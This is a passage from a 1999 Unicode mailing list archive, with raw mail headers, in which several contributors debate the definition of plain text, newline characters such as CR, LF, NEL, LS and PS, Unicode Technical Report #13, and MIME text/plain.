> much sense in chosing a C0 sequence for the ""line break"" function. > > > > I think the paragraph break could then be chosen as one of > > the C0 Information separators, possibly the Record Separator > > aka control-^ . > > > I think the problem with this idea is that if we look at a Unicode > text file and see CR and/or LF in it, we don't know if those > characters came from the private text format of a 7- or 8-bit file > that was converted to Unicode without any record-format conversion, > or if they are the ""Unicode"" CR and LF. Therefore this would only > move the problem of incompatible record formats from the old world > (of DOS, Windows, UNIX, Macintosh) to the new one. > > It's better to have Unicode characters LS and PS (and I think also > Tab/Column-Separator and Page Separator) than to recycle the C0 > controls. This ensures round-trip integrity without having to know > the history of the data (""it came originally from DOS so to convert > it from Unicode to UNIX we need to..."") > > - Frank 6-Jul-99 15:00:44-GMT,2552;000000000005 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id LAA06958 for ; Tue, 6 Jul 1999 11:00:43 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id HAA200904 ; Tue, 6 Jul 1999 07:53:44 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA14263; Tue, 6 Jul 99 07:20:41 -0700 Message-Id: <9907061420.AA14263@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Uml-Sequence: 8478 (1999-07-06 14:18:21 GMT) From: Kevin Bracey To: Unicode List Date: Tue, 6 Jul 1999 07:18:20 -0700 (PDT) Subject: Re: NLF (was Frank and Ed, was Plain Text) In message <9907051432.AA29431@unicode.org> Peter_Constable@sil.org wrote: > > > >I find myself dealing with Unicode text created by Windows and Windows > applications quite frequently now, with line ends marked in little-endian > fashion as > > 0D 00 0A 00 > > Indeed, this practice has surprised me. > > Chris Pratley: can you comment on why Word 97 does this rather than using > PS? > I think I can partially answer this from experience on our (non-MS) environment. Our system continues to use our native line-ending type (LF only) when dealing with Unicode data, for compatibility. In particular, when converted to UTF-8, which is how Unicode is normally passed around our OS, the data will have standard looking line endings - if PS or LS were used, many non-UTF-8 aware parts of the system would get confused. Also, a lot of Unicode data is converted from non-Unicode sources - conversion will almost always leave C0 and C1 characters untouched. Changing to PS and LS would need knowledge of the source data's line ending conventions, which is hard to determine automatically. If you also need round-trip conversion (eg Shift-JIS data in an HTML form -> Unicode browser workings -> Shift-JIS submission to server), messing with line endings is almost out of the question. All other encodings use C0 controls for line endings - it's hard to make a change for one particular encoding that does it differently. -- Kevin Bracey, Senior Software Engineer Pace Micro Technology plc Tel: +44 (0) 1223 725228 645 Newmarket Road Fax: +44 (0) 1223 725328 Cambridge, CB5 8PB, United Kingdom WWW: http://www.acorn.co.uk/ 6-Jul-99 15:48:02-GMT,3748;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id LAA21789 for ; Tue, 6 Jul 1999 11:48:01 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id IAA246046 ; Tue, 6 Jul 1999 08:30:04 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA14360; Tue, 6 Jul 99 07:26:42 -0700 Message-Id: <9907061426.AA14360@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Uml-Sequence: 8480 (1999-07-06 14:23:46 GMT) From: John Cowan To: Unicode List Date: Tue, 6 Jul 1999 07:23:45 -0700 (PDT) Subject: Re: Plain Text Content-Transfer-Encoding: 7bit Edward Cherlin wrote: > This is the key point for me. You acknowledge the need for flavors of text > other than your preformatted plain text. I thought you were holding out for > one flavor only. Indeed, but ""preformatted plain text"" has traditionally been called ""plain text"", or in MIME ""text/plain"", and this terminology ought not to be revised unwarrantedly. Other species of plain text should have a distinguishing adjective. > Now we can discuss the flavors, such as delimited database > interchange files with lines of arbitrary length. We can, but I think we would do well to nail down preformatted plain text (aka ""plain text"") first, as it is the most stable. > Presumably we can define > them using some of the apparatus that is becoming available in XML or as > MIME data types. Would it make sense, then, to create a formal XML > definition of plain text files, with a leading BOM, no interpretations for > any tags, the minimum set of control characters, and the appropriate set of > transformation formats? No, at least for the XML part. (You could create a full-SGML definition, but I question the purpose of it, except perhaps to help in defining a Unicode-preformatted-plain-text grove model.) XML compels special interpretations for ""<"" and ""&"" and requires matching enclosing tags; preformatted plain text has no such requirements. > That would get around my earlier objection, about > how to make an implementation available on all platforms. What about > corresponding MIME types? The corresponding MIME type is ""text/plain; charset=utf-8"" or ""... utf-16"". Anything else should have a different MIME type or at least different parameters. > Preformatted or reflowable. I have not seen ones that are not preformatted. > > . Traditional (not ""legacy"") email and netnews. > > There is presently no way to specify preformatted or reflowable. There is a widespread presumption for preformatted, although sometimes the formatting is done by the creating software, not the user, alas. Rendering software usually has at least an option to display as-is. > To summarize your answer to my objections, we are defining a new format > independent of previous conventions, in which we can specify usage of the > minimal set of formatting characters regardless of usage in text files of > 7-bit ASCII and 8-bit character sets of any kind, Yes. > while allowing for a few > variant flavors of text, such as preformatted, reflowable, and database. And of these, preformatted is the most important and stable, and should be specified first. The others can be specified ad libitum later. -- John Cowan http://www.ccil.org/~cowan cowan@ccil.org Schlingt dreifach einen Kreis um dies! / Schliesst euer Aug vor heiliger Schau, Denn er genoss vom Honig-Tau / Und trank die Milch vom Paradies. -- Coleridge / Politzer 6-Jul-99 16:52:25-GMT,2051;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id MAA10222 for ; Tue, 6 Jul 1999 12:52:24 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id JAA242372 ; Tue, 6 Jul 1999 09:38:54 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA16405; Tue, 6 Jul 99 08:49:29 -0700 Message-Id: <9907061549.AA16405@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Uml-Sequence: 8490 (1999-07-06 15:45:40 GMT) From: John Cowan To: Unicode List Date: Tue, 6 Jul 1999 08:45:35 -0700 (PDT) Subject: Re: Plain Text Content-Transfer-Encoding: 7bit Frank da Cruz wrote: > I most emphatically do not want to define a MIME type, because MIME will > disappear some day but Unicode will last forever (if we do it right). Technically, ""MIME types"" are called ""media types"", and what they really are is named interchange formats. You *are* trying to develop an interchange format; making it a media type requires only finding a name and filling out a short registration form. As I said in an earlier message, MIME rules provide a strong case for distinguishing between ""text/plain"" and ""application/character-stream"", (where ""application"" here really means ""other"" i.e. ""catchall"".) The former must be composed of lines with a maximum length of (IIRC) 998 characters; the latter has no such restrictions. Text/plain could still include both reflowable and preformatted text, but I believe the weight of history is in favor of using that term for preformatted text only. -- John Cowan http://www.ccil.org/~cowan cowan@ccil.org Schlingt dreifach einen Kreis um dies! / Schliesst euer Aug vor heiliger Schau, Denn er genoss vom Honig-Tau / Und trank die Milch vom Paradies. -- Coleridge / Politzer 6-Jul-99 16:52:29-GMT,4215;000000000005 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id MAA10261 for ; Tue, 6 Jul 1999 12:52:28 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id JAA90060 ; Tue, 6 Jul 1999 09:38:57 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA16005; Tue, 6 Jul 99 08:36:26 -0700 Message-Id: <9907061536.AA16005@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Uml-Sequence: 8488 (1999-07-06 15:30:50 GMT) From: John Cowan To: Unicode List Date: Tue, 6 Jul 1999 08:30:34 -0700 (PDT) Subject: Re: Plain Text Content-Transfer-Encoding: 7bit Frank da Cruz wrote: > We don't have to. If the Unicode Standard defines what plain text is, > then conversion of 8-bit text to Unicode will put all the divergent > platform-specific formats into the same Unicode format. Or some other widely accepted source of standardization, such as Oasis or ECMA or ISO or even W3C (though the first three, IMHO, have a better ""fit"" to the subject matter). > C1 control characters are kept if the source character > set has them (e.g. a Latin Alphabet) and translated otherwise > (e.g. CP850). I take this to mean ""Characters 0x80 to 0x9F are zero-bit-extended if the source character set has C1 characters; if it does not (like CP850, CP1252, or VISCII), they are translated to their proper Unicode graphic equivalents."" > . Heuristics might be used to identify paragraphs and to separate them > by Paragraph Separator. For example, a blank line is replaced by PS. > Obviously there are pitfalls. Indeed. For example, blank lines in source code, e.g., are not necessarily paragraph marks. This might be a reasonable QOI issue. > . Any conversion program would probably need an option to deal with > files with ""word processor"" record format, in which a line is really > a paragraph. Note that arbitrary-length lines do not meet the MIME definition of ""text"" (and nor does UTF-16 text); such things should really have a media type of ""application/character-stream"" or the like, analogous to ""application/octet-stream"" but with a charset parameter. > > 0D 00 0A 00 > > > > What do we do about that? > > > I would say that this practice should be discouraged (""be conservative in > what you 'send'"") in any application that creates or saves Unicode text > files. But it should be allowed for (""be liberal in what you 'receive'"") in > any conversion/import program. Does this Windows-Unicode text always have a proper little-endian BOM, as I believe it does? If so, then the only problem is the precise value of line terminator. In practice, much of the Unicode text (perhaps all of it) in the world today uses old line terminators, and I think they must be explicitly allowed in a flexible definition of preformatted Unicode plain text, even if tagged with SHOULD NOT. > No, thase are higher-level protocols that will go out of fashion some day, > probably sooner than you think. Of course you can define or use all the > higher level protocols you want, but you should bear in mind they are > ephemeral. SGML is almost as old, as computer things go, as plain text. Though it was not standardized until 1986, it was devised in 1974; ASCII itself only dates to 1963 or so. Moreover, unlike most file formats, SGML is character-based, not octet-based, and does not depend on any specific processing application, so whatever process refreshes Unicode data will refresh SGML data too. (XML is merely a special case of SGML.) I agree that preformatted plain text should not depend on SGML, though; that is putting Cart before Horse. [snip] > Yes. [snip] > Double yes. Sounds like a case of violent agreement. -- John Cowan http://www.ccil.org/~cowan cowan@ccil.org Schlingt dreifach einen Kreis um dies! / Schliesst euer Aug vor heiliger Schau, Denn er genoss vom Honig-Tau / Und trank die Milch vom Paradies. -- Coleridge / Politzer 6-Jul-99 18:06:01-GMT,1998;000000000005 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id OAA01861 for ; Tue, 6 Jul 1999 14:05:58 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id KAA258748 ; Tue, 6 Jul 1999 10:57:06 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA19726; Tue, 6 Jul 99 10:37:16 -0700 Message-Id: <9907061737.AA19726@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Uml-Sequence: 8500 (1999-07-06 17:34:29 GMT) From: John Cowan To: Unicode List Date: Tue, 6 Jul 1999 10:34:27 -0700 (PDT) Subject: UTR #13 comments (was: Plain text: Amendment 1) Content-Transfer-Encoding: 7bit Mark Davis wrote: > A lot of the discussion of line termination relates to technical report #13. > Any suggestions for additional information for that report would be welcome. My suggestions: 1) The NEL character in the C1 set (0x85) is the ISO equivalent of EBCDIC NL (0x15) and this mapping is duly given in the EBCDIC code page mappings on the Unicode FTP site. The text should therefore advise applications to treat U+0085 (NL/NEL) as a newline, not U+0015 (NAK). 2) There should be a warning that some old documents use bare CR (0x0D) to do underlining or other overstriking; an application that converts such text should do a more complex conversion, though treating bare CR as a NLF is marginally acceptable even for these documents (which may then wind up containing occasional lines with only spaces and underscores). -- John Cowan http://www.ccil.org/~cowan cowan@ccil.org Schlingt dreifach einen Kreis um dies! / Schliesst euer Aug vor heiliger Schau, Denn er genoss vom Honig-Tau / Und trank die Milch vom Paradies. -- Coleridge / Politzer 6-Jul-99 18:07:23-GMT,2852;000000000005 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id OAA02179 for ; Tue, 6 Jul 1999 14:07:22 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id KAA265860 ; Tue, 6 Jul 1999 10:56:23 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA19432; Tue, 6 Jul 99 10:28:04 -0700 Message-Id: <9907061728.AA19432@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Uml-Sequence: 8499 (1999-07-06 17:25:42 GMT) From: John Cowan To: Unicode List Date: Tue, 6 Jul 1999 10:25:40 -0700 (PDT) Subject: Re: Plain text: Amendment 1 Content-Transfer-Encoding: 7bit Frank da Cruz wrote: > [I]f we look at a Unicode > text file and see CR and/or LF in it, we don't know if those > characters came from the private text format of a 7- or 8-bit file > that was converted to Unicode without any record-format conversion, > or if they are the ""Unicode"" CR and LF. The semantics of CR and LF in Unicode 2.x *are* the ambiguous ones inherited from the 7-bit controls; there are no other semantics. But this has been changed in Unicode 3.0: see UTR #13 (http://www.unicode.org/unicode/reports/tr13/), which will be a normative part of Unicode 3.0. Note well that UTR #13 does not solely prescribe the semantics of CR and LF during conversion to and from Unicode, but also the semantics of CR and LF *in* Unicode. XML, a major Unicode application, takes almost the same point of view. (IMHO, XML should be modified to accept LS as a line-end character.) > Therefore this would only > move the problem of incompatible record formats from the old world > (of DOS, Windows, UNIX, Macintosh) to the new one. Indeed. But the only real problem there is that some people and applications (notably nroff output) use bare CR in plain text to produce physical or notional overprinting. Otherwise, it is perfectly fine to take the UTR #13 viewpoint. > It's better to have Unicode characters LS and PS (and I think also > Tab/Column-Separator and Page Separator) than to recycle the C0 > controls. This ensures round-trip integrity without having to know > the history of the data (""it came originally from DOS so to convert > it from Unicode to UNIX we need to..."") As for HT and FF, nobody uses them incompatibly, and introducing new characters for them is supererogation at best. -- John Cowan http://www.ccil.org/~cowan cowan@ccil.org Schlingt dreifach einen Kreis um dies! / Schliesst euer Aug vor heiliger Schau, Denn er genoss vom Honig-Tau / Und trank die Milch vom Paradies. -- Coleridge / Politzer 6-Jul-99 20:21:22-GMT,1739;000000000001 Return-Path: Received: from osiris.taz.de (osiris.taz.de [194.162.12.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id QAA11732 for ; Tue, 6 Jul 1999 16:21:20 -0400 (EDT) Received: from track.hal.taz.de (track.hal.taz.de [10.1.0.1]) by osiris.taz.de (8.9.3/8.9.3) with ESMTP id WAA22660; Tue, 6 Jul 1999 22:21:18 +0200 Received: from diva.edv.taz.de (diva.edv.taz.de [10.1.1.44]) by track.hal.taz.de (8.9.3/8.9.3) with ESMTP id WAA13247; Tue, 6 Jul 1999 22:21:13 +0200 (MET DST) Date: Tue, 6 Jul 1999 22:21:13 +0200 (MEST) From: Roman Czyborra X-Sender: czyborra@diva.edv.taz.de To: Unicode List , John Cowan , Frank da Cruz Subject: Re: Plain Text In-Reply-To: <9907061616.AA17333@unicode.org> Message-ID: Organization: http://czyborra.com/ @ http://taz.de/ Gender: male MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII > Text/plain could still include both reflowable and preformatted > text, but I believe the weight of history is in favor of using > that term for preformatted text only. Please read http://imc.org/draft-gellens-format (also known as http://www.ietf.org/internet-drafts/draft-gellens-format-06.txt) about the Content-Type: text/plain;charset=UTF-8;format=flowed > MIME will disappear some day but Unicode will last forever The Internet and MIME will evolve but I don't see them vanish any earlier than Unicode. MIME has been integrated into the majority of platforms, browsers and mailreaders worldwide. Without MIME we wouldn't be able to properly send multilingual text anywhere. 6-Jul-99 21:47:42-GMT,1792;000000000005 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id RAA07183 for ; Tue, 6 Jul 1999 17:47:41 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id OAA186772 ; Tue, 6 Jul 1999 14:35:38 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA24360; Tue, 6 Jul 99 14:25:17 -0700 Message-Id: <9907062125.AA24360@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 8513 (1999-07-06 21:24:03 GMT) From: ""Tony Harminc"" To: Unicode List Date: Tue, 6 Jul 1999 14:24:01 -0700 (PDT) Subject: Re: Plain text: Amendment 1 On 6 Jul 99, at 10:25, John Cowan wrote: > As for HT and FF, nobody uses them incompatibly, and > introducing new characters for them is supererogation at best. Actually the question of HT and FF is the most bothersome one, for me. There are (at least) two problems: HT and FF both depend in some sense on the user's environment, e.g. page length (paper size if the ""rendering engine"" is a printer or hardcopy terminal), and tab stop settings. HT has ambiguous semantics when the HT occurs when the cursor is already at a tab stop. If the cursor got to a tab stop because of an HT, then there is no argument - another HT moves to the next tab stop. But if the cursor got there because of ordinary, implicit movement, then some systems ignore an HT (i.e. stay in the same place), while others move on to the next stop. Granted, this is mainly a problem of input methods rather than data storage or interchange, but I don't think it's quite fair to say that no one uses HT incompatibly. Tony H. 6-Jul-99 22:57:17-GMT,1684;000000000005 Return-Path: Received: from inergen.sybase.com (inergen.sybase.com [192.138.151.43]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id SAA24819 for ; Tue, 6 Jul 1999 18:57:16 -0400 (EDT) Received: from smtp1.sybase.com (sybgate.sybase.com [130.214.220.35]) by inergen.sybase.com with ESMTP id PAA16767; Tue, 6 Jul 1999 15:58:18 -0700 (PDT) Received: from birdie.sybase.com (birdie.sybase.com [130.214.140.3]) by smtp1.sybase.com with SMTP id PAA23039; Tue, 6 Jul 1999 15:57:15 -0700 (PDT) Received: by birdie.sybase.com (5.x/SMI-SVR4/SybEC3.5) id AA04633; Tue, 6 Jul 1999 15:57:14 -0700 Date: Tue, 6 Jul 1999 15:57:14 -0700 From: kenw@sybase.com (Kenneth Whistler) Message-Id: <9907062257.AA04633@birdie.sybase.com> To: fdc@watsun.cc.columbia.edu Subject: Re: Plain Text Cc: unicode@unicode.org, kenw@sybase.com X-Sun-Charset: US-ASCII > So at minimum, a text file should be tagged according to character set. Whoa! Wait a minute. How do we get from here to there? If it's tagged, it's not a *plain* text file, but something else. The way ahead out of the character set identity morass for ""text files"" is to use the Universal Character Set -- that way, once again, we will know how to interpret plain text files. The rest of this discussion is about something else other than what the Unicode Standard means by ""plain text"", and has, as far as I can tell, more to do with devising a kind of a lowest common denominator document format standard for interoperability. While people on this list may find that interesting to discuss, it is rather orthogonal to the intended scope of the Unicode Standard. --Ken Whistler 6-Jul-99 23:07:50-GMT,1372;000000000005 Return-Path: Received: from inergen.sybase.com (inergen.sybase.com [192.138.151.43]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id TAA27626 for ; Tue, 6 Jul 1999 19:07:49 -0400 (EDT) Received: from smtp1.sybase.com (sybgate.sybase.com [130.214.220.35]) by inergen.sybase.com with ESMTP id QAA18832; Tue, 6 Jul 1999 16:08:40 -0700 (PDT) Received: from birdie.sybase.com (birdie.sybase.com [130.214.140.3]) by smtp1.sybase.com with SMTP id QAA25245; Tue, 6 Jul 1999 16:07:37 -0700 (PDT) Received: by birdie.sybase.com (5.x/SMI-SVR4/SybEC3.5) id AA04637; Tue, 6 Jul 1999 16:07:37 -0700 Date: Tue, 6 Jul 1999 16:07:37 -0700 From: kenw@sybase.com (Kenneth Whistler) Message-Id: <9907062307.AA04637@birdie.sybase.com> To: fdc@watsun.cc.columbia.edu Subject: RE: Plain Text Cc: unicode@unicode.org, kenw@sybase.com X-Sun-Charset: US-ASCII > > The grayer > > part of this discussion is about what constitutes ""preformatted plain > > text"". I don't think this can be standardized to practical effect. That > > is, you could write a standard, but would anyone use it? > > > Those who needed a guaranteed way to record preformatted plain text in > documents that can persist over long periods of time and across all > applications and platforms would use it. At the moment, this format is called a ""book"". :-) --Ken 6-Jul-99 23:35:26-GMT,1544;000000000001 Return-Path: Received: from inergen.sybase.com (inergen.sybase.com [192.138.151.43]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id TAA06353 for ; Tue, 6 Jul 1999 19:35:26 -0400 (EDT) Received: from smtp1.sybase.com (sybgate.sybase.com [130.214.220.35]) by inergen.sybase.com with ESMTP id QAA22879; Tue, 6 Jul 1999 16:36:29 -0700 (PDT) Received: from birdie.sybase.com (birdie.sybase.com [130.214.140.3]) by smtp1.sybase.com with SMTP id QAA27662; Tue, 6 Jul 1999 16:35:24 -0700 (PDT) Received: by birdie.sybase.com (5.x/SMI-SVR4/SybEC3.5) id AA04643; Tue, 6 Jul 1999 16:35:24 -0700 Date: Tue, 6 Jul 1999 16:35:24 -0700 From: kenw@sybase.com (Kenneth Whistler) Message-Id: <9907062335.AA04643@birdie.sybase.com> To: fdc@watsun.cc.columbia.edu Subject: Re: Plain text: Amendment 1 Cc: unicode@unicode.org, kenw@sybase.com X-Sun-Charset: US-ASCII > I think the problem with this idea is that if we look at a Unicode > text file and see CR and/or LF in it, we don't know if those > characters came from the private text format of a 7- or 8-bit file > that was converted to Unicode without any record-format conversion, > or if they are the ""Unicode"" CR and LF. Therefore this would only > move the problem of incompatible record formats from the old world > (of DOS, Windows, UNIX, Macintosh) to the new one. The unfortunate horse is already out of the burning barn on this one. So now we have to add a stable to the new Unicode garage. See Unicode Technical Report #13. --Ken 6-Jul-99 23:35:44-GMT,1286;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id TAA06404 for ; Tue, 6 Jul 1999 19:35:44 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id QAA203350 ; Tue, 6 Jul 1999 16:31:17 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA25399; Tue, 6 Jul 99 16:12:09 -0700 Message-Id: <9907062312.AA25399@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 8518 (1999-07-06 23:07:52 GMT) From: kenw@sybase.com (Kenneth Whistler) To: Unicode List Cc: unicode@unicode.org, kenw@sybase.com Date: Tue, 6 Jul 1999 16:07:21 -0700 (PDT) Subject: RE: Plain Text > > The grayer > > part of this discussion is about what constitutes ""preformatted plain > > text"". I don't think this can be standardized to practical effect. That > > is, you could write a standard, but would anyone use it? > > > Those who needed a guaranteed way to record preformatted plain text in > documents that can persist over long periods of time and across all > applications and platforms would use it. At the moment, this format is called a ""book"". :-) --Ken 6-Jul-99 23:45:36-GMT,2026;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id TAA08869 for ; Tue, 6 Jul 1999 19:45:35 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id QAA10440 ; Tue, 6 Jul 1999 16:42:01 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA26067; Tue, 6 Jul 99 16:32:14 -0700 Message-Id: <9907062332.AA26067@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 8519 (1999-07-06 23:30:50 GMT) From: kenw@sybase.com (Kenneth Whistler) To: Unicode List Cc: unicode@unicode.org, kenw@sybase.com Date: Tue, 6 Jul 1999 16:30:44 -0700 (PDT) Subject: Re: Plain text: Amendment 1 Jonathan suggested: > > My thoughts on this indicate that explicit tab widths are not > appropriate: the only real requirement for plain text is that the > columns line up. So we could have a character > > COLUMN SEPARATOR > > (CSEP) to go with LINE SEPARATOR (LSEP) and PARAGRAPH SEPARATOR (PSEP). This isn't going to happen. Column alignment in tables is clearly a higher-level document formatting issue -- not a problem to be solved by attributing complex layout attributes to yet another format control character in the character encoding standard. > > So the general form of a table would be > > PSEP ... CSEP ... CSEP ... LSEP > ... CSEP ... LSEP > ... CSEP ... CSEP ... > PSEP > No, a table is an object defined at a higher level. > > | Whatever is chosen, let's keep it simple. Frank got that one right. We already got TAB's, ineluctably. So define some interoperable behavior on them, as is already done for the kind of preformatted plain text Frank is talking about. Otherwise, use spaces. Any other attempts to push more complex formatting down to the bare minimum preformatted plain text format is bound to fail, IMO. --Ken > 7-Jul-99 0:15:33-GMT,3405;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id UAA16352 for ; Tue, 6 Jul 1999 20:15:32 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id RAA260764 ; Tue, 6 Jul 1999 17:11:34 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA26592; Tue, 6 Jul 99 16:58:21 -0700 Message-Id: <9907062358.AA26592@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 8521 (1999-07-06 23:57:08 GMT) From: kenw@sybase.com (Kenneth Whistler) To: Unicode List Cc: unicode@unicode.org, kenw@sybase.com Date: Tue, 6 Jul 1999 16:57:07 -0700 (PDT) Subject: Re: Plain text: Amendment 1 John Cowan wrote: > > The semantics of CR and LF in Unicode 2.x *are* the ambiguous > ones inherited from the 7-bit controls; there are no other semantics. > But this has been changed in Unicode 3.0: see UTR #13 > (http://www.unicode.org/unicode/reports/tr13/), which will be a > normative part of Unicode 3.0. This is not the case. UTR #13 *is* to be considered part of the Unicode Standard, Version 3.0: http://www.unicode.org/unicode/standard/versions/Unicode3.0-beta.html However, UTR #13 constitutes ""Unicode Newline *Guidelines*"" [emphasis added]. There is no conformance specification and there are no normative implications. The scope constitutes: ""a set of recommendations for handling these characters so as to minimize the effects on users."" Think of UTR #13 as a late addition to Chapter 5, Implementation Guidelines, that did not make it into the actual printed text of The Unicode Standard, Version 3.0, forthcoming. > Note well that UTR #13 does not > solely prescribe the semantics of CR and LF during conversion to and > from Unicode, but also the semantics of CR and LF *in* Unicode. It makes suggestions. It does not normatively prescribe. > > As for HT and FF, nobody uses them incompatibly, and > introducing new characters for them is supererogation at best. I would agree with this. > Mark Davis wrote: > > > A lot of the discussion of line termination relates to technical report #13. > > Any suggestions for additional information for that report would be welcome. > > My suggestions: > > 1) The NEL character in the C1 set (0x85) is the ISO equivalent of > EBCDIC NL (0x15) and this mapping is duly given in the EBCDIC code page > mappings on the Unicode FTP site. The text should therefore advise > applications to treat U+0085 (NL/NEL) as a newline, not U+0015 (NAK). This was a typo/oversight in the text of UTR #13 and will be corrected. > > 2) There should be a warning that some old documents use bare > CR (0x0D) to do underlining or other overstriking; an application > that converts such text should do a more complex conversion, though > treating bare CR as a NLF is marginally acceptable even for these > documents (which may then wind up containing occasional lines > with only spaces and underscores). This is a good suggestion to add to the text of UTR #13. --Ken > > -- > John Cowan http://www.ccil.org/~cowan cowan@ccil.org > Schlingt dreifach einen Kreis um dies! / Schliesst euer Aug vor heiliger Schau, > Denn er genoss vom Honig-Tau / Und trank die Milch vom Paradies. > -- Coleridge / Politzer > 7-Jul-99 0:47:40-GMT,3104;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id UAA25012 for ; Tue, 6 Jul 1999 20:47:39 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id RAA252212 ; Tue, 6 Jul 1999 17:42:46 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA26896; Tue, 6 Jul 99 17:29:02 -0700 Message-Id: <9907070029.AA26896@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 8523 (1999-07-07 00:26:52 GMT) From: Frank da Cruz To: Unicode List Cc: unicode@unicode.org Date: Tue, 6 Jul 1999 17:26:51 -0700 (PDT) Subject: Re: Plain Text > > So at minimum, a text file should be tagged according to character set. > > Whoa! Wait a minute. How do we get from here to there? > > If it's tagged, it's not a *plain* text file, but something else. > Sorry, I meant externally tagged, e.g. in the directory entry, along with the size, date, etc. (The lack of this kind of external tagging is a pet peeve of long duration, but is not exactly relevant to this discussion.) > The way ahead out of the character set identity morass for ""text files"" > is to use the Universal Character Set -- that way, once again, we > will know how to interpret plain text files. > Agreed! Well... At least if we are successful, and some new consortium doesn't come along xx years from now and declare Unicode to be ""legacy"" and its own new-and-improved universal encoding to be the only one to use from now on. At which point, we might need to differentiate ""legacy"" Unicode data from the new code, just as we now need to distinguish Unicode from Macintosh Quickdraw, Latin-1, etc. (Saying there will be only one character set in the future is like saying a network address can be 8 bits because there will never be more than 256 computers on a network :-) > The rest of this discussion is about something else other than what > the Unicode Standard means by ""plain text"", and has, as far as I can > tell, more to do with devising a kind of a lowest common denominator > document format standard for interoperability. While people on this list > may find that interesting to discuss, it is rather orthogonal to the > intended scope of the Unicode Standard. > If it is, it shouldn't be. If we rely on some other organization to worry about this (which one has the authority?) and Unicode outlives the standards and products of that organization, then we're back to ""all bets are off"". On the other hand, if we can back up the statement that Unicode is a plain-text standard with a definition of plain text that incorporates ""lowest common 